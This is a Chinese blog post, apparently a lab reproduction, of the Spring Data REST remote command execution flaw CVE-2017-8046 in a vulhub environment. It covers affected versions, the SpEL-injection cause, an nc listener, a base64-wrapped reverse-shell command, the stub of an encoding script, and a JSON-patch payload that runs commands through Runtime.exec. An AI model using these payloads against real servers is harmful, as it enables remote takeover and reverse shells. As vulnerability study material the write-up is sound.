Spring Data Rest 远程命令执行漏洞 CVE-2017-8046
影响范围
- Spring Data REST 2.5.0 - 2.5.11
- Spring Data REST 2.6.0 - 2.6.8
- Spring Data REST 3.0.0.RC1 - 3.0.0.RC3
- Spring Boot 1.5.0 - 1.5.8
- Spring Boot 1.4.x 及更早版本
漏洞类型
SpEL 表达式注入
操作系统限制
无
配置要求
默认配置
漏洞利用
命令执行,进行反弹 shell,写入木马
利用原理
Spring Data REST 支持通过 PATCH 请求对资源进行局部更新,PATCH 请求包含一个 path 字段,用于指定修改的对象属性,后端接受请求时,Spring 会将 path 字段直接传递给 SpeExpressionParser 解析,框架没用对 path 进行安全过滤或合法性检验,攻击者可以在 path 字段构造 SpEL 表达式实现代码执行
漏洞复现
用现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

攻击机开启监听端口,nc -lvvp 监听端口

抓取 http://公网: 8080/customers/1 数据包

发送到 Repeater 模块

将反弹 shell 进行 base64 编码后构造出敏感命令
1 | bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i} |
编码脚本
1 | def cmd_to_spel_ascii(command): |
使用脚本对敏感命令进行 ascii 编码,构造注入的 payload,修改请求类型为,PATCH,添加 Content-Type: application/json-patch+json,请求主体为构造的 payload,这里用了反弹 shell
1 | [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ascii编码的敏感命令}))/lastname", "value": "vulhub" }] |

发送后返回 400

成功连接,虽然连接不稳定

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论